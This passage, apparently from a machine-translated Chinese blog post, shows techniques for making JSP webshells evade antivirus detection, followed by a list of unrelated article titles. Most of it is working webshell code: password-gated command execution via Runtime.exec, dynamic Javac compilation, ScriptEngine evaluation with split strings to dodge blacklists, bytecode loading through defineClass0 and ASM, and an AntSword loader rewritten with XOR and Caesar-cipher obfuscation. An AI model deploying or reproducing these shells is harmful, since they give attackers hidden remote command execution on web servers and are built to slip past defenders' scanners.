String KYojVAFKnStuhAMYzhkx = dec(ohMQjyWPNghGDIectNXy[((234768 ^ 1973569) ^ (590428 ^ 1346061))], ((651824 ^ 1630724) ^ (814895 ^ 1933074)));
String[] yvralpImQfqgUyDKbRSG = KYojVAFKnStuhAMYzhkx.split("\\|");
int kGsnqIufqoPkrtLHXIaW = ((279689 ^ 1441046) ^ (1995565 ^ 1034930));
String llbDKgUNpIZeFFzrADVc = null;
String DnyFyfbKEMRubCuIJCGT = null;
Class sdyNhFJrytFWBVFtHBAW = null;
java.lang.reflect.Method IggLavlquoqeLcmkEMCH = null;
java.lang.reflect.Method vECcMsoXaxNOVEfGJtyD = null;
Process PqYHaydLQrLSTEejmXPC = null;
java.io.InputStream SOPjuNYhMRIxBIMFsLnC = null;
java.io.InputStreamReader OskZRyDgCtUfhCNMbiHl = null;
java.io.BufferedReader ADbSwyDfyRrnejwmlMVP = null;
byte[] FyRwKNOxPNyWZqTioayh = null;
while (true) {
int ckwcNOWaQwslAqKXsBXS = Integer.parseInt(yvralpImQfqgUyDKbRSG[kGsnqIufqoPkrtLHXIaW++]);
switch(ckwcNOWaQwslAqKXsBXS) {
case ((130619 ^ 1310711) ^ (16539 ^ 1196378)):
SOPjuNYhMRIxBIMFsLnC = PqYHaydLQrLSTEejmXPC.getInputStream();
break;
case ((70158 ^ 1439183) ^ (936575 ^ 1748408)):
out.print(dec(ohMQjyWPNghGDIectNXy[((1035581 ^ 1276560) ^ (1012433 ^ 1295738))], ((408828 ^ 1977713) ^ (805113 ^ 1333629))));
break;
case ((791991 ^ 1721991) ^ (276318 ^ 1205350)):
OskZRyDgCtUfhCNMbiHl = new java.io.InputStreamReader(SOPjuNYhMRIxBIMFsLnC);
break;
case ((994327 ^ 1996681) ^ (272624 ^ 1405797)):
sdyNhFJrytFWBVFtHBAW = Class.forName(dec(ohMQjyWPNghGDIectNXy[((723389 ^ 1911990) ^ (940741 ^ 1605581))], ((565548 ^ 1732890) ^ (581035 ^ 1707412))));
break;
case ((660296 ^ 1894086) ^ (864030 ^ 1825429)):
out.print(dec(ohMQjyWPNghGDIectNXy[((160730 ^ 1269193) ^ (2021183 ^ 1046827))], ((530501 ^ 1792818) ^ (68852 ^ 1200010))));
break;
case ((314344 ^ 1957918) ^ (171737 ^ 1815843)):
ADbSwyDfyRrnejwmlMVP = new java.io.BufferedReader(OskZRyDgCtUfhCNMbiHl);
case ((7180 ^ 1883268) ^ (1034438 ^ 1271886)):
FyRwKNOxPNyWZqTioayh = new byte[((874262 ^ 1421190) ^ (356355 ^ 1933459))];
break;
case ((840786 ^ 1964027) ^ (75706 ^ 1049616)):
llbDKgUNpIZeFFzrADVc = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((313090 ^ 1196306) ^ (855029 ^ 1805796))], ((1045651 ^ 1997062) ^ (598409 ^ 1616917))));
break;
case ((472276 ^ 1989936) ^ (960482 ^ 1560079)):
if (!llbDKgUNpIZeFFzrADVc.equals(PASSWORD)) {
return;
}
break;
case ((405394 ^ 1254229) ^ (606815 ^ 1855135)):
DnyFyfbKEMRubCuIJCGT = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((877796 ^ 1647594) ^ (1003933 ^ 1775249))], ((417054 ^ 1917469) ^ (779740 ^ 1112790))));
break;
case ((766303 ^ 1441376) ^ (438729 ^ 1638140)):
IggLavlquoqeLcmkEMCH = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((213616 ^ 1517688) ^ (867884 ^ 1659936))], ((741373 ^ 1786126) ^ (161325 ^ 1210583))));
break;
case ((93071 ^ 1493750) ^ (108351 ^ 1443399)):
PqYHaydLQrLSTEejmXPC = (Process) vECcMsoXaxNOVEfGJtyD.invoke(IggLavlquoqeLcmkEMCH.invoke(null), DnyFyfbKEMRubCuIJCGT);
break;
case ((480088 ^ 1200421) ^ (422292 ^ 1274859)):
String VzWBitUpHtiNHjloSSoh = null;
while ((VzWBitUpHtiNHjloSSoh = ADbSwyDfyRrnejwmlMVP.readLine()) != null) {
out.println(VzWBitUpHtiNHjloSSoh);
}
break;
case ((492345 ^ 1552686) ^ (791819 ^ 1845016)):
vECcMsoXaxNOVEfGJtyD = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((914605 ^ 1809294) ^ (17726 ^ 1452568))], ((937477 ^ 1205935) ^ (615802 ^ 1396185))), String.class);
break;
}
}
} catch (Exception ignored) {
}
%>
十四、Javac动态编译
Master three dreams provideJavacDynamic compilation from kill the horse can also be further processing,Has been achieved in the tool.
在JSPConstruct the command executionJavaRealize dynamic compile and execute codeWebshell,其中appendMany strings and don't write directly,In order to better Caesar encryption and xor encryption、
Before handling the originalWebshell如下:
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.DiagnosticCollector" %>
<%@ page import="java.util.Locale" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="javax.tools.StandardJavaFileManager" %>
<%@ page import="java.util.Random" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.io.File" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%
String PASSWORD = "password";
String cmd = request.getParameter("cmd");
String pwd = request.getParameter("pwd");
if (!pwd.equals(PASSWORD)) {
return;
}
String tmpPath = Files.createTempDirectory("xxxxx").toFile().getPath();
JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();
DiagnosticCollector diagnostics = new DiagnosticCollector();
StandardJavaFileManager standardJavaFileManager = javaCompiler.getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8"));
int id = new Random().nextInt(10000000);
StringBuilder stringBuilder = new StringBuilder()
.append("import java.io.BufferedReader;\n")
.append("import java.io.IOException;\n")
.append("import java.io.InputStream;\n")
.append("import java.io.InputStreamReader;\n")
.append("public class Evil" + id + " {\n")
.append(" public static String result = \"\";\n")
.append(" public Evil" + id + "() throws Throwable {\n")
.append(" StringBuilder stringBuilder = new StringBuilder();\n")
.append(" try {")
.append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader" +
"(Runtime.getRuntime().exec(\"" + cmd + "\").getInputStream()));\n")
.append(" String line;\n")
.append(" while((line = bufferedReader.readLine()) != null) {\n")
.append(" stringBuilder.append(line).append(\"\\n\");\n")
.append(" }\n")
.append(" result = stringBuilder.toString();\n")
.append(" } catch (Exception e) {\n")
.append(" e.printStackTrace();\n")
.append(" }\n")
.append(" throw new Throwable(stringBuilder.toString());")
.append(" }\n")
.append("}");
Files.write(Paths.get(tmpPath + File.separator + "Evil" + id + ".java"), stringBuilder.toString().getBytes());
Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Evil" + id + ".java");
javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();
try {
new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Evil" + id).newInstance();
} catch (Throwable e) {
response.getWriter().print("<pre>" + e.getMessage() + "</pre>");
}
%>
十五、ScriptEngine免杀
Refer to the big wood masterScriptEngine调用JS免杀马,In the tool completed further free to kill.
其中appendMany strings and don't write directly,On the one hand, in order to better Caesar encryption and xor encryption,Another consideration is to preventjava.lang.Runtime
The blacklist detection.
Before handling the originalWebshell如下:
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String PASSWORD = "password";
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("JavaScript");
engine.put("request",request);
String pwd = request.getParameter("pwd");
if(!pwd.equals(PASSWORD)){
return;
}
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("function test(){")
.append("try {\n")
.append(" load(\"nashorn:mozilla_compat.js\");\n")
.append("} catch (e) {}\n")
.append("importPackage(Packages.java.lang);\n")
.append("var cmd = request.getParameter(\"cmd\");")
.append("var x=java/****/.lang./****/Run")
.append("time./****")
.append("/getRunti")
.append("me()/****/.exec(cmd);")
.append("return x.getInputStream();};")
.append("test();");
java.io.InputStream in = (InputStream) engine.eval(stringBuilder.toString());
StringBuilder outStr = new StringBuilder();
response.getWriter().print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
outStr.append(s + "\n");
}
response.getWriter().print(outStr.toString());
response.getWriter().print("</pre>");
%>
十六、defineClass0免杀
思路来自su18The master code,Core idea is to load the bytecode execution implementationWebshell功能,In tool to realize.
由于defineClass0
是native
方法,In theory can bypass some test.
由于JVMLoaded the bytecode in a class,所以该WebshellThe ability to execute the command only once,The second run the sameJSPWill lead to repeat classes,To the second execution must upload a bytecode class name differentWebshell.
使用ASMTechnology can realize the function of the random class name,Can be generated every timeWebshellThe bytecode class name is different.
Before handling the originalWebshell如下:
<%@ page language="java" pageEncoding="UTF-8" %>
<%!
public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
ClassLoader.class, String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
}
%>
<%
byte[] bytes = new sun.misc.BASE64Decoder().decodeBuffer("yv66vgAAADQAcQoAGwAvBwAwCgACAC8HADEHADIKADMANAoAMwA1CgA2ADcKAAUAOAoABAA5CgAEADoKAAIAOwgAPAoAAgA9CQAQAD4HAD8KAEAAQQgAQgoAQwBECgBFAEYKAEUARwcASAoAFgAvCgAWAEkJAEoASwoATABNBwBOAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAD8HAE8HADAHADEBAApFeGNlcHRpb25zBwBQAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAKU291cmNlRmlsZQEAEUJ5dGVDb2RlRXZpbC5qYXZhDAAeAFEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBSDABTAFQMAFUAVgcAVwwAWABZDAAeAFoMAB4AWwwAXAAqDABdAF4BAAEKDAApACoMABwAHQEAGm9yZy9zZWMvc3RhcnQvQnl0ZUNvZGVFdmlsBwBfDABgAGEBABJCeXRlQ29kZUV2aWwuY2xhc3MHAGIMAGMAZAcAZQwAZgBnDABoAGkBABZzdW4vbWlzYy9CQVNFNjRFbmNvZGVyDABqAGsHAGwMAG0AbgcAbwwAcAAfAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAD2phdmEvbGFuZy9DbGFzcwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAE2dldFJlc291cmNlQXNTdHJlYW0BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAAlhdmFpbGFibGUBAAMoKUkBAARyZWFkAQAFKFtCKUkBAAxlbmNvZGVCdWZmZXIBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuACEAEAAbAAAAAQAAABwAHQAAAAMAAQAeAB8AAgAgAAAAnAAGAAUAAABHKrcAAbsAAlm3AANNuwAEWbsABVm4AAYrtgAHtgAItwAJtwAKTi22AAtZOgTGABIsGQS2AAwSDbYADFen/+oqLLYADrUAD7EAAAACACEAAAAiAAgAAAAMAAQADQAMAA4AFAAPACUAEQAvABIAPgAUAEYAFQAiAAAAGwAC/wAlAAQHACMHACQHACUHACYAAPwAGAcAJAAnAAAABAABACgAAQApACoAAQAgAAAAHQABAAEAAAAFKrQAD7AAAAABACEAAAAGAAEAAAAYAAkAKwAsAAIAIAAAAGAAAgAFAAAAMBIQtgAREhK2ABNMK7YAFLwITSsstgAVV7sAFlm3ABdOLSy2ABg6BLIAGRkEtgAasQAAAAEAIQAAAB4ABwAAABwACwAdABIAHgAYAB8AIAAgACcAIQAvACIAJwAAAAQAAQAoAAEALQAAAAIALg==");
Class<?> testClass = defineByProxy("org/sec/start/ByteCodeEvil", bytes);
Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
out.print("<pre>");
out.println(result.toString());
out.print("</pre>");
%>
The bytecode is the class,一个普通类,Implement a simple in the method of constructing the echoWebshell.
If the class is instantiated will execute the command,实现Webshell的功能:
public class ByteCodeEvil {
String res;
public ByteCodeEvil(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
this.res = stringBuilder.toString();
}
public String toString() {
return this.res;
}
}
Why don't you direct tectonic bytecode,Then load the execution implementationWebshell呢?
于是笔者用JDK自带的ASM实现了ByteCodeEvil
类,Attention must use their ownASM,Because the target machine must have beenJDKBut don't necessarily have the third party to rely on libraries.
Before handling the originalWebshell如下:
<%@ page language="java" pageEncoding="UTF-8" %>
<%!
public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
ClassLoader.class, String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
}
%>
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%
jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
fieldVisitor.visitEnd();
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
methodVisitor.visitCode();
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
methodVisitor.visitInsn(DUP);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
methodVisitor.visitVarInsn(ASTORE, 2);
methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
methodVisitor.visitInsn(DUP);
methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
methodVisitor.visitInsn(DUP);
methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
methodVisitor.visitVarInsn(ALOAD, 1);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
methodVisitor.visitVarInsn(ASTORE, 3);
jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
methodVisitor.visitLabel(label0);
methodVisitor.visitVarInsn(ALOAD, 3);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
methodVisitor.visitInsn(DUP);
methodVisitor.visitVarInsn(ASTORE, 4);
jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
methodVisitor.visitJumpInsn(IFNULL, label1);
methodVisitor.visitVarInsn(ALOAD, 2);
methodVisitor.visitVarInsn(ALOAD, 4);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
methodVisitor.visitLdcInsn("\n");
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
methodVisitor.visitInsn(POP);
methodVisitor.visitJumpInsn(GOTO, label0);
methodVisitor.visitLabel(label1);
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitVarInsn(ALOAD, 2);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
methodVisitor.visitInsn(RETURN);
methodVisitor.visitMaxs(6, 5);
methodVisitor.visitEnd();
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
methodVisitor.visitCode();
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
methodVisitor.visitInsn(ARETURN);
methodVisitor.visitMaxs(1, 1);
methodVisitor.visitEnd();
classWriter.visitEnd();
byte[] code = classWriter.toByteArray();
Class<?> testClass = defineByProxy("sample/ByteCodeEvil", code);
Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
out.print("<pre>");
out.println(result.toString());
out.print("</pre>");
%>
注意该Webshell和上文一样,只能执行一次.
如果想多次执行,Need the name of the class is different,Where different implementation class name is very simple,修改sample/ByteCodeEvil
即可.
十七、Ant sword kill free processing
The author try to use the above method(0x02-0x05)And take instructions, and other small means,Finally realized the ant swordWebshell的处理,Don't know how free kill effect.
Before handling the originalWebshell如下:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
处理后:
<%!
class VGakJDyicU extends ClassLoader {
VGakJDyicU(ClassLoader sjqhdnqocals) {
super(sjqhdnqocals);
for (int ZCzmllUXtVEeZskSMJEz = (1263180 ^ 1263180); ZCzmllUXtVEeZskSMJEz < (1863338 ^ 1863328); ZCzmllUXtVEeZskSMJEz++) {
if (ZCzmllUXtVEeZskSMJEz == (1988769 ^ 1988776)) {
break;
}
}
}
private int dsaENLANCL() {
for (int yoMmmGPWAtcOBiAgCUWX = ((259959 ^ 1197627) ^ (206306 ^ 1217710)); yoMmmGPWAtcOBiAgCUWX < ((343431 ^ 1794195) ^ (966919 ^ 1088537)); yoMmmGPWAtcOBiAgCUWX++) {
if (yoMmmGPWAtcOBiAgCUWX == ((134011 ^ 1675804) ^ (770157 ^ 1071363))) {
break;
}
}
return ((485255 ^ 1246863) ^ (156062 ^ 1441942));
}
public Class qwer(byte[] dqwbdjk) {
if (dqwbdjk.length == ((2069908 ^ 1078641) ^ (1784881 ^ 1367216))) {
for (int GsuWImCilISonbpTyZui = ((636131 ^ 1142979) ^ (124627 ^ 1647347)); GsuWImCilISonbpTyZui < ((579438 ^ 1670906) ^ (348300 ^ 1374482)); GsuWImCilISonbpTyZui++) {
if (GsuWImCilISonbpTyZui == ((13479 ^ 1889100) ^ (611430 ^ 1422212))) {
break;
}
}
}
int ercCqJlVzFqfCyrEabcm = dqwbdjk.length;
if (ercCqJlVzFqfCyrEabcm > ((330429 ^ 1925916) ^ (741991 ^ 1260492))) {
for (int llcdjrZGNEWQaALQAsUR = ((207275 ^ 1682785) ^ (184435 ^ 1594553)); llcdjrZGNEWQaALQAsUR < ((206607 ^ 1213855) ^ (1981517 ^ 1023703)); llcdjrZGNEWQaALQAsUR++) {
if (llcdjrZGNEWQaALQAsUR == ((328245 ^ 1533470) ^ (510359 ^ 1420725))) {
break;
}
}
}
byte[] YwAvyJBZdbTBZbQhcBwH = dqwbdjk;
Class TaoMNcEEzcdFDzvxRtCB = super.defineClass(YwAvyJBZdbTBZbQhcBwH, ((396500 ^ 1437237) ^ (289123 ^ 1543042)), YwAvyJBZdbTBZbQhcBwH.length);
if (TaoMNcEEzcdFDzvxRtCB.isInterface()) {
TaoMNcEEzcdFDzvxRtCB.getName();
}
return TaoMNcEEzcdFDzvxRtCB;
}
}
%><%!
public static byte[] base64Decode(String str) throws Exception {
String[] globalArr = new String[]{"c3VuLm1pc2MuQkFTRTY0RGVjb2Rlcg==", "aGlnc2hpRnlqaml2", "amF2YS51dGlsLkJhc2U2NA==", "a2l4SGlnc2hpdg==", "aGlnc2hp"};
try {
Class clazz = Class.forName(dec(globalArr[((0 ^ 1345535) ^ (715040 ^ 1994463))], ((600797 ^ 1524742) ^ (207413 ^ 1918186))));
return (byte[]) clazz.getMethod(dec(globalArr[((948015 ^ 1651496) ^ (182287 ^ 1412105))], ((769795 ^ 1506285) ^ (688088 ^ 1522482))), String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName(dec(globalArr[((797587 ^ 1382585) ^ (127362 ^ 1622698))], ((582194 ^ 1928767) ^ (636958 ^ 1848343))));
Object decoder = clazz.getMethod(dec(globalArr[((664470 ^ 1890424) ^ (1680902 ^ 1007083))], ((1485 ^ 1523451) ^ (346165 ^ 1209095)))).invoke(null);
return (byte[]) decoder.getClass().getMethod(dec(globalArr[((554945 ^ 1929084) ^ (225411 ^ 1468474))], ((682491 ^ 1223509) ^ (148392 ^ 1736962))), String.class).invoke(decoder, str);
}
}
%><%!
public static String dec(String str, int offset) {
try {
byte[] MQgbKJrvmvUNiACWzYhP = new sun.misc.BASE64Decoder().decodeBuffer(str);
str = new String(MQgbKJrvmvUNiACWzYhP);
char rKfCgregXvByjCvhxRxW;
StringBuilder UJmcHvuZzxZueglvhEXj = new StringBuilder();
for (int IEQwwpVvaGzMUAxhssQF = (1825797 ^ 1825797); IEQwwpVvaGzMUAxhssQF < str.length(); IEQwwpVvaGzMUAxhssQF++) {
rKfCgregXvByjCvhxRxW = str.charAt(IEQwwpVvaGzMUAxhssQF);
if (rKfCgregXvByjCvhxRxW >= 'a' && rKfCgregXvByjCvhxRxW <= 'z') {
rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'a') - offset + (1474946 ^ 1474968)) % (1398627 ^ 1398649) + 'a');
} else if (rKfCgregXvByjCvhxRxW >= 'A' && rKfCgregXvByjCvhxRxW <= 'Z') {
rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'A') - offset + (1850740 ^ 1850734)) % (1084508 ^ 1084486) + 'A');
} else if (rKfCgregXvByjCvhxRxW >= '0' && rKfCgregXvByjCvhxRxW <= '9') {
rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - '0') - offset + (1210262 ^ 1210268)) % (1307501 ^ 1307495) + '0');
} else {
UJmcHvuZzxZueglvhEXj = new StringBuilder(str);
break;
}
UJmcHvuZzxZueglvhEXj.append(rKfCgregXvByjCvhxRxW);
}
String DqvcAOdAcpWauApzwTRq = UJmcHvuZzxZueglvhEXj.toString();
DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\\"", "\"");
DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\n", "\n");
return DqvcAOdAcpWauApzwTRq;
} catch (Exception ignored) {
return "";
}
}
%><%
String[] oNJuJikOgjxSAgpuapoa = new String[]{"MXw2fDExfDB8MTJ8N3w1fDl8MTN8NHwzfDJ8OHwxMA==", "eWpiYmZtbQ=="};
String ckphsywtqiXvMyIouIdk = dec(oNJuJikOgjxSAgpuapoa[((0 ^ 1454308) ^ (144559 ^ 1311819))], ((842141 ^ 1629663) ^ (862872 ^ 1650387)));
String[] FcuXNygiqPJbDZwvnlSg = ckphsywtqiXvMyIouIdk.split("\\|");
String dmjXOSyFxLGKfPNJeVkE = null;
ClassLoader jKpxyUZqKneUsfmnxTlC = null;
VGakJDyicU QTZxUuEMsBJWRNcudHyD = null;
byte[] fOusiCauDCKbMzDlKvqw = null;
Class AAsWwIQGRxHfKbdqLZev = null;
Object BYaCKDJJsTfIPkqUyKoL = null;
int YvkdhaCbnCbPDaUNRuBo = ((187401 ^ 1704406) ^ (1008132 ^ 1556443));
while (YvkdhaCbnCbPDaUNRuBo < ((319511 ^ 1953485) ^ (612423 ^ 1078932))) {
int cTJfJkZQDeaXOYYzRNnC = Integer.parseInt(FcuXNygiqPJbDZwvnlSg[YvkdhaCbnCbPDaUNRuBo++]);
switch (cTJfJkZQDeaXOYYzRNnC) {
case ((664766 ^ 1058149) ^ (44698 ^ 1748812)):
for (int OxJhcBTqssMVndvyMIjo = ((309873 ^ 1246634) ^ (241737 ^ 1314706)); OxJhcBTqssMVndvyMIjo < ((333641 ^ 1628558) ^ (832090 ^ 1146007)); OxJhcBTqssMVndvyMIjo++) {
if (OxJhcBTqssMVndvyMIjo == ((861272 ^ 1921733) ^ (635827 ^ 1688871))) {
break;
}
}
break;
case ((122212 ^ 1235151) ^ (468463 ^ 1318981)):
dmjXOSyFxLGKfPNJeVkE = request.getParameter(dec(oNJuJikOgjxSAgpuapoa[((69673 ^ 1384378) ^ (410020 ^ 1199670))], ((115978 ^ 1645709) ^ (996168 ^ 1567430))));
break;
case ((1002251 ^ 1980313) ^ (29403 ^ 1117772)):
BYaCKDJJsTfIPkqUyKoL = AAsWwIQGRxHfKbdqLZev.newInstance();
break;
case ((520420 ^ 1745450) ^ (7204 ^ 1920737)):
jKpxyUZqKneUsfmnxTlC = this.getClass().getClassLoader();
break;
case ((167948 ^ 1791275) ^ (393195 ^ 1850060)):
QTZxUuEMsBJWRNcudHyD = new VGakJDyicU(jKpxyUZqKneUsfmnxTlC);
break;
case ((327792 ^ 1385753) ^ (860610 ^ 1901735)):
fOusiCauDCKbMzDlKvqw = base64Decode(dmjXOSyFxLGKfPNJeVkE);
break;
case ((944603 ^ 1361552) ^ (529251 ^ 1227823)):
AAsWwIQGRxHfKbdqLZev = QTZxUuEMsBJWRNcudHyD.qwer(fOusiCauDCKbMzDlKvqw);
break;
case ((1757191 ^ 1036219) ^ (30436 ^ 1403230)):
if (dmjXOSyFxLGKfPNJeVkE == null) {
return;
}
break;
case ((361224 ^ 1559863) ^ (259966 ^ 1161544)):
BYaCKDJJsTfIPkqUyKoL.equals(pageContext);
break;
}
}
%>
Free to kill the project:
https://github.com/EmYiQing/JSPHorse
总结:
Actually kill technology in existing free add confusion technology not necessarily can improve the ability of free to kill,因为例如method.invoke
Key classes and methods such as the call did not change,But it is also a try,Perhaps can bypass some detection on the basis of simulation execution,Can also increase the cost of defenders audit analysis.
边栏推荐
猜你喜欢
随机推荐
Curriculum Vitae;CV
WebShell特征值汇总与检测工具
Heuristic merge, DSU on Tree
微信小程序异步回调函数恶梦和解决办法
架构:应用架构的演进以及微服务架构的落地实践
PHP WebShell 免杀
#{}和${}的区别
JSP Webshell 免杀
【LeetCode】94.二叉树的中序遍历
合奥科技网络 面试(含参考答案)
【LeetCode】206.反转链表
Qt自定义控件和模板分享
请教各位大佬,如果我代码里面设置了,这个id我在什么地方可以查到呢?连接到mysql cluste
JS中获取对象数据类型的键值对的键与值
Common SQL interview questions: 50 classic examples
架构:微服务网关(SIA-Gateway)简介
[Daily LeetCode]——1. The sum of two numbers
